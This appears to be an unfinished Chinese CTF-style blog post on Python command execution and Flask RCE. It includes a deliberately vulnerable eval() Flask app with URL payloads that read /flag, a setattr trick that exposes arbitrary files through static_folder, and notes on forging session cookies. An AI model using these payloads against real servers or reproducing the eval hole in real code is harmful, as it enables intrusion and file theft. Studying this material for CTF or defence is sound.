python的RCE姿势以及内存马注入
python的rce姿势以及内存马注入(未补完)
python的SSTI是明白的,可是如果是先渲染再接受参数呢?只传参不渲染又该如何面对呢
诶,注入一个内存马试试.?
Python 的命令执行
不同于php自带的命令执行函数,python是要先引入模块的,参考jinja2模板注入找os内置函数的那个过程
OS模块
经典款:
os.system
:
可以用来执行系统命令,但是无法将系统命令执行的结果返回.如果执行成功了会返回0,失败了会返回1
import os
os.system('dir') //输出目录结构
print(os.system('dir')) //输出目录结构,下一行输出0
os.popen
:
可以用来将系统命令执行的结构存储到一个管道文件中(什么是管道文件?个人理解是类似php中的phar这种).然后可以通过read方法来将管道文件的内容返回
import os
out=os.popen('dir')
print(out.read())
subprocess模块
可以认为subprocess是os模块的安全版
subprocess.run
:
基本是subprocess中最常用的模块,包含下列参数
subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output=False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text=None, env=None, universal_newlines=None)
1.唯一一个必须要有的参数,为一个字符串列表/字符串,其中第一个值是一个应用程序,后面的则是传递的参数
import subprocess
out=subprocess.run(["calc.exe","-p"],capture_output=True,text=True)
print(out.stdout)
这也是我们常说的弹计算器命令,但是需要注意,由于windows并不是像linux那样由纯文件组成,所以这里的列表中无法直接使用dir命令如["dir"]
(本质上这个dir是传递给windows.cmd的一个参数,但是这个windows.cmd程序的位置找不到)
2.shell=True,默认为false
用于控制是否允许在第一个参数处直接使用shell命令的,开启后则可以不使列表而是以字符串形式直接使用,如:
import subprocess
out=subprocess.run("dir",shell=True,capture_output=True,text=True)
print(out.stdout)
复现效果:
3.stdin,stdout,stderr,默认为false
这三个参数用来设置输入,输出和错误信息为管道对象或是类文件对象,这里不常用.
4.capture_output=true,默认为false
用于捕获stdout和stderr时期不会输出到终端而是作为一个对象来返回.
5.text=true,默认为false
默认状态下返回的数据为字节流,而text=true
可以使得返回的数据为字符串而不是字节流,不用人手动转换.
6.encoding='utf-8'
如果指定了参数,则stdin,stdout,stderr可以接受该类型的数据,否则默认为字节流.可以认为是text=true
的一个手动选择版
7.timeout
设置命令超时时间.如果命令执行时间超时,子进程将被杀死,并弹出 TimeoutExpired
异常.
8.check=true
如果该参数设置为True
,并且进程退出状态码不是0,则弹出CalledProcessError
异常.
subprocess.Popen
是subprocess方法的核心,可用于实现更为复杂的功能
具体介绍就不给了,给两个大佬的博客自己选择着看看把(
Python之subprocess模块 - 卿先生 - 博客园
python中的subprocess.Popen()、PIPE使用详解 - 平行时空的旅者 - 博客园
直接开始本地复现
import subprocess
p = subprocess.Popen("dir", shell=True,encoding="utf-8")
在linux成功复现
反观windows(
修了一下,是编码问题+一个stdout和stderr未重定向到PIPE的问题
修了一下成功读取
import subprocess
p = subprocess.Popen("dir", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="gbk")
stdout, stderr = p.communicate()
print(stdout)
subprocess.getoutput
接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。
用于执行系统命令,并将stdout和stderr直接捕获(不输出到终端)并以字符串形式返回
import os
import subprocess
out=subprocess.getoutput("dir") # 到这还没有输出
print(out) #到这才有的输出
subprocess.check_output
可以理解为subprocess.run
和subprocess.getoutput
的结合版.会将stdout捕获作为字符串返回,同时也可以像subprocess.run
一样使用较为复杂的自定义功能.
import subprocess
out=subprocess.check_output("dir",shell=True,text=True)# 到这还没有输出
print(out) #到这才有的输出
subprocess.call()
及check_call()
subprocess.call()
为python3.5以前版本使用,与subprocess.run()
用法基本一致,但call()返回的为命令结束码,无法获取更多信息,不推荐使用,现已被run()取代.subprocess.check_call()
与call()
的区别为,check_call()
如果命令失败(即 returncode不为0)会主动抛出subprocess.CalledProcessError
异常,使用subprocess.run(check=True)
可取代subprocess.check_call()
.
send_file
是类似于render_template
和redirect
的一种用于前后端交互的方法,可以下载指定的文件.
import os
import subprocess
from flask import Flask, render_template, request, redirect, url_for,session, send_file, Response
app = Flask(__name__)
def index():
return send_file('D:\\114514.docx')
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0",port=5000)
eval和exec
eval()和 exec()函数的功能是相似的,都可以执行一个字符串形式的 Python代码(代码以字符串的形式提供),相当于一个Python的解释器.二者不同之处在于,eval()执行完要返回结果,而exec()执行完不返回结果.
from flask import Flask, request, send_file
app = Flask(__name__)
def index():
if not request.args.get("cmd"):
return send_file("app.py")
else:
cmd=request.args.get("cmd")
res=eval(cmd)
return res
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0",port=5000)
payload:
?cmd=__import__("os").popen("ls%20/").read()
?cmd=__import__("subprocess").run("tac%20/flag", shell=True,
capture_output=True, encoding='utf-8').stdout
?cmd=__import__("subprocess").check_output("cat /flag",
shell=True).decode("utf-8")
?cmd=__import__("subprocess").getoutput("cat /flag")
?cmd=send_file("/flag")
这里面的__import__("os")
一类的用法是用于动态导入模块的.
Flask RCE利用(内存马篇)
看过了python,但是flask和python又不是同一回事情,因为flask下有很多可供调用的函数,只能可以参考一点python的,但大多数时候是flask下特有的函数打的有问题(
static_folder 任意文件读取
flask在初始化的时候 会设置很多内部的属性
python
def __init__(
self,
import_name: str,
static_url_path: str | None = None,
static_folder: str | os.PathLike | None = "static",
static_host: str | None = None,
host_matching: bool = False,
subdomain_matching: bool = False,
template_folder: str | os.PathLike | None = "templates",
instance_path: str | None = None,
instance_relative_config: bool = False,
root_path: str | None = None,
):
#还有一些其他的成员
self.config 用来存储配置 self.extensions 用来存储扩展的状态。
self.aborter 和 self.url_build_error_handlers 用来处理 HTTP 错误和 URL 构建错误。
self.teardown_appcontext_funcs 和 self.shell_context_processors 用来管理应用上下文和 shell 上下文。
self.blueprints 用来组织应用的模块化功能,self.url_map 管理路由规则。
self.url_map 储存了应用的路由信息
self.add_url_rule用来添加 URL 规则
注意到是这个
plaintext
static_url_path: str | None = None 指定静态文件的 URL 路径(即浏览器中访问静态文件的路径)
static_folder 指定静态文件所在的文件夹路径
如果我们修改了相关的值 就可能会造成任意文件读取
不过在参数传递的时候 不可以使用=给这些东西赋值 需要使用setattr这个给他们赋值
plaintext
setattr(app,'_static_folder','/')
路由注入
Flask RCE利用(debug篇)
一些辅助工作
一般会在一开始套个session 的验证
这里就要用到session伪造的芝士了,首先了解一下session罢
1)flask session 分析
flask对session的处理位于flask/sessions.py中,默认情况下flask的session以cookie的形式保存于客户端,利用签名机制来防止数据被篡改。
.eJwljrFuwzAMBf9FcwZSpkQyP2NQoh5aBGgBO5mC_HsNdLy75d5lx7HOr3J_Hq91K_t3lnuxGamDI6kmLPpa1TE0UKteyYSpJyaaVJ8hRGZDk7ZtLlEbpALjxjOc1SaZWzLSx-aB3p0djSta984kjXqMrQqrE3WhBMo18jrX8X_D9eJ5Htifv4_1cxltCgQ3V0zvIsGBjDAlGQsqNJEi08vnD15kP8Q.XxKIMg.iW96TDgIamKLQ0x9h5LoPsUCIvw
1
- 通过.隔开的3段内容,第一段其实就是base64 encode后的内容,但去掉了填充用的等号,若decode失败,自己需要补上1-3个等号补全。中间内容为时间戳,在flask中时间戳若超过31天则视为无效。最后一段则是安全签名,将sessiondata,时间戳,和flask的secretkey通过sha1运算的结果。
json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
1
- 服务端每次收到cookie后,会将cookie中前两段取出和secretkey做sha1运算,若结果与cookie第三段不一致则视为无效。
- 从cookie获取session的过程便是验证签名->验证是否过期->解码。
[参考文章]: https://blog.csdn.net/weixin_44190459/article/details/116774912 “flask框架漏洞”
[参考文章]: https://www.cnblogs.com/meraklbz/p/18260893 “python rce”